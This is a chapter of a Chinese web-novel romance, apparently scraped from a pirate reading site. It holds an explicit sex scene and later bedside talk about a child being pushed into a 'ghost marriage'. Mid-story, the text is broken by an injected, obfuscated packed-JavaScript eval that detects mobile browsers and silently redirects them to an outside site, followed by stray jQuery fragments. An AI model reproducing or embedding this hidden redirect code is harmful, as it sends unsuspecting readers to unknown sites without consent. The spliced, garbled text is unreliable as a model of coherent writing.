16. 第十六章 催促

作品:《悔负香衾

    屋中安静得只能听到急促的呼吸声与狂乱的心跳。


    宋禾眉也没那个心思去想这心跳声是来自谁,她只觉整个身子紧绷着,原本正打算迎接这即将闯入的危险,可偏又不上不下地卡着。


    小腿要想并又并不得,她不耐地抬眼,却见面前人墨色的瞳眸在黑夜之中,似带着难以言明的侵略与危险,虽在等待着她的答案,但好似她答得若不对,便会将她生生刺穿劈开成两半。


    说实话,她现在有些想让他快点劈。


    可他的执拗来得突然,宋禾眉咬了咬牙:“你偏要在这个时候问吗?”


    她尚算含蓄的催促应是让喻晔清听明白了,他的腰稍稍下沉,但也仅仅只是稍稍,宋禾眉只觉所有注意都向下移,身子紧绷得更厉害,但却突然戛然而止。


    哪有让渴了许久的人,喝一口吐半口的?


    偏生喻晔清对她的急促恍若未觉:“二姑娘觉得,应在何时问?”


    宋禾眉声音有些控制不住地发颤:“最起码不是现在。”


    喻晔清不说话了,但终是全部交付给了她,让她难抑地仰头,纤细修长的脖颈就这样暴露在面前人的唇边。


    男子的天性本能也好,压抑着的冲动渴望也罢,一同催使他缓缓合拢又分离的同时,依旧将头低下来,吻上了她的脖颈。


    这感觉同那夜根本不一样,不止是因为上下处境的掉转,更是这份清醒之下的爱涌,让四肢百骸都似充着让人颤栗的滋味。


    浮沉摇曳间蛊惑了思绪,在还璞归真的急流欢快下,在脑中刹那空白之时,想的只有跟将这些带给她的人永远缠裹在一次,此生都不分开。


    难怪这种事会让人闻知面红耳热,不止是因褪去了素日里的衣衫坦然相贴。


    更是因这滋味扰乱人心,这样连绵不断、踊跃不歇,把心底澄澈纯粹的情,与身子不受控制地迎合混杂在一起,分不清、挑不明。


    这仅仅是玩乐吗?


    可她这次能清楚地听见,自己的心因面前人而狂跳。


    她不合时宜地想,五年来这样极致地缠裹,究竟有没有情,邵文昂当真分得清吗?


    那句可笑的“玩乐”在她脑中回想。


    她不知该笑自己在不知不觉间,被他们二人用这样的关系横亘了五年。


    还是该恶寒他当真薄情,五年下来居然还能说的出一句“玩乐罢了”。


    最后的攀越在急促之后到达顶峰,宋禾眉手脚并用,将面前人抱得牢牢的,她从来没同一个人贴的这样近过,严丝合缝、榫卯相衬,她的心跳都能跳打在他的胸膛上。


    她死咬着的唇险些要溢出声音,却是在这种时候,喻晔清金贵的吻落了下来,将她的声音吞入喉间,闷闷逸散在胸膛。


    能不金贵吗?哪一次不是再三催促,然后付出另外的价钱。


    这次算什么,对这场床笫事的附赠吗?


    不过很快,这金贵的吻似在同她要报酬了。


    喻晔清贴近她的耳畔,低哑的声音传入耳中:“为什么是我?”


    宋禾眉清楚地体会到,为什么枕边风这般有用,若是此时喻晔清同她讨要些什么其他,她定是想也不想就要点头的。


    可他偏偏要问这样不重要的问题。


    若他们是因情而起,她定是有许多好话可说,可他们偏偏不是。


    他问这话……大抵是心有不甘罢?


    好好一个读书人,结果落得这样一副境地。


    读书人都有傲气嘛,她懂的。


    那她定然是不能说的太认真,若是说她在夜里看见他的那刻便动了这个心思,岂不是在说,他就是给人做小倌做外室的料子?


    宋禾眉清了清嗓子,尽可能将自己的语调压得稳一些,不露出被颤栗余威的影响:“凑巧罢了。”


    喻晔清身子一僵硬。


    宋禾眉的胳膊仍挂在他脖子上:“大抵是你我有缘罢,那夜恰好遇到,若是遇到的是旁人,说不准——”


    他突然动了动,这让宋禾眉后面要说的话戛然而止。


    因他的撩拨,那平息下的感觉又卷土重来,而他却状似无意道:“对不住,二姑娘。”


    宋禾眉双眼迷离,看不清他的面色,但他大抵是一副继续与否都不在意的模样,轻描淡写在她耳边道:“还要继续吗,宋二姑娘?”


    他话说的很是客气,但他紧窄有力的腰好似不太客气。


    但宋禾眉好像已经做不来摇头的决定。


    她点点头。


    没有得来接下来的动作。


    她咬着牙,强压下属于女子的羞意,直白且客气道:“劳烦继续罢,喻郎君。”


    这次继续的顺其自然,比上一次顺得多。


    也不知道是所有人都是这样几次便熟能生巧、举一反三,还是他们两个莫名其妙地很是相合。


    但宋禾眉明白了,为什么出嫁前,嫂嫂和母亲都叮嘱,第二日一早无论如何都不能赖懒,要早早起来去给婆母问安。


    她当时还觉得,母亲与嫂嫂怎得就这样小看她,她素日里是这样喜欢惫懒的人吗?


    但如今想想,这样一夜过去,确实很难不赖懒。


    提前烧好的热水派上了用场,身边也没个伺候的丫鬟仆妇,清洗这种事要让喻晔清亲自动手,她倒是有这个银钱,但没这个脸。


    羞意总是来得不可避免又猝不及防,她穿戴整齐回身时,喻晔清正立在门口看着她。


    依旧是那副皎皎清润的模样,可脑中多了些旁的记忆,此刻看他实在是不能与从前相比。


    “二姑娘可要先歇息?”


    歇在哪,在他的屋子吗?


    宋禾眉咬了咬唇,垂眸有些犹豫:“令妹那边不打紧吗?”


    喻晔清薄唇微动:“我以为二姑娘会先问,夜不归宿,宋府那边不打紧吗。”


    宋禾眉觉得他这话的意思,许是认为她会招惹来宋家人连累他?


    她直直对上他的视线:“喻郎君放心,我府上的人我会瞒得妥当,即便哪日被人发现,也不会牵连你。”


    喻晔清沉默下来,将头偏转过去。


    宋禾眉对他的沉默早已习惯,但此刻也确实觉得身上疲累,若是现在骑马回去,困累暂且不提……只怕是会疼。


    她顿了顿,主动问:“喻郎君觉得我能歇在何处,现在去令妹的屋子?”


    “若二姑娘不嫌,些在这间屋舍罢。”


    宋禾眉眼露诧异:“那你呢?”


    喻晔清语气如常:“院中尚有枯柴未劈。”


    宋禾眉怔了又怔,明白过来他的话。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352968|182960||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这是说今夜不睡也行,要去院子里劈柴?


    她神色不由得古怪起来,他这么有精神的吗?当真不嫌累了?


    “劈柴动静多大?你不怕吵了我,还不怕吵了令妹?”


    “家妹用了药,向来睡的安稳。”顿了顿,他沉声道,“方才她听不到,此刻亦不会听到。”


    宋禾眉唇畔抿起,不知该说些什么好。


    既听不到,他怎得不早说?


    一直不出声,气还是有些倒不过来的。


    但这话她不好意思说出口,思忖一瞬还是轻轻叹气:“喻郎君倒是见外,什么都做了,一起宿下也不算什么大事。”


    她回身上了床榻,喻晔清照看人还是很细致的,比如此刻的床褥已经换了新的,还多垫了几层,虽没有她闺房的被褥软,但躺上去比方才舒服很多。


    她躺好,大方对着身侧拍了拍:“过来。”


    喻晔清喉结下意识滚动,没即刻动身。


    宋禾眉又拍了拍,声音略有不耐:“难道每次我让你做什么,非要说两次才行?我让你过来!”


    喻晔清这回不好再拖延,只能缓步到了床榻上,挨着她躺下来。


    他的床榻很窄,即便是小心躺下,小臂也照样要贴在一起。


    当初搭的时候也是为了省料银,只给妹妹的床榻好好安置,若是早知有今日,他定然——


    “赵家是什么人家?”


    宋禾眉突然出声,将他的话打断。


    喻晔清眉心微动:“什么赵家?”


    “就是你姑姑说的那个,她是打算给明涟许人家?”


    宋禾眉算下来,明涟如今也不过十一二,哪有正经人家定亲这般早的?


    她这话问出口,果真觉得身侧人周身冷了下来,沉默良久,他才开口:“赵家独子自幼体弱,此前曾有游方道士出主意,给他配一门婚,若能冲喜最好,若不能便一同配了阴/婚,算了生辰年岁,明涟正相配。”


    宋禾眉心中一颤,下意识侧眸去看他。


    黑夜之中看不出身侧人的神色,但她仍旧能感觉到他提起此事时的不悦。


    她的心跟着跳了跳,下意识问:“赵家应许了你很多好处罢?”


    “应该是罢。”


    宋禾眉忙道:“什么叫应该,这事儿还有模棱两可的?”


    喻晔清淡淡答:“当时来人的话未曾说完,我便已拒下,确实不知会许什么好处,但许什么都无妨,我的妹妹,我会养,自不会送到赵府作践。”


    他语气稀松平常,说的理所应当。


    孤身养大一个沉疴难医的妹妹谈何容易?


    宋禾眉觉得心有些凉,喻晔清在这种处境之下尚能坚守,可她的哥哥呢?


    她觉得喉中有些苦涩,忍不住低声喃喃:“若你是我兄长便好了。”


    喻晔清少有的语塞:“……二姑娘早些休息罢,莫要再说这种胡话。”


    这算是拒绝了。


    宋禾眉有些不服:“怎么,喻郎君觉得我不配做你妹妹?”


    喻晔清再一次沉默下来,但宋禾眉不放过,用手肘碰碰他:“说话。”


    但下一瞬,喻晔清竟反手扣住她的手腕,肌肤相贴,方才的颤栗当即在脑中重现。


    “二姑娘觉得,有这样的兄妹?”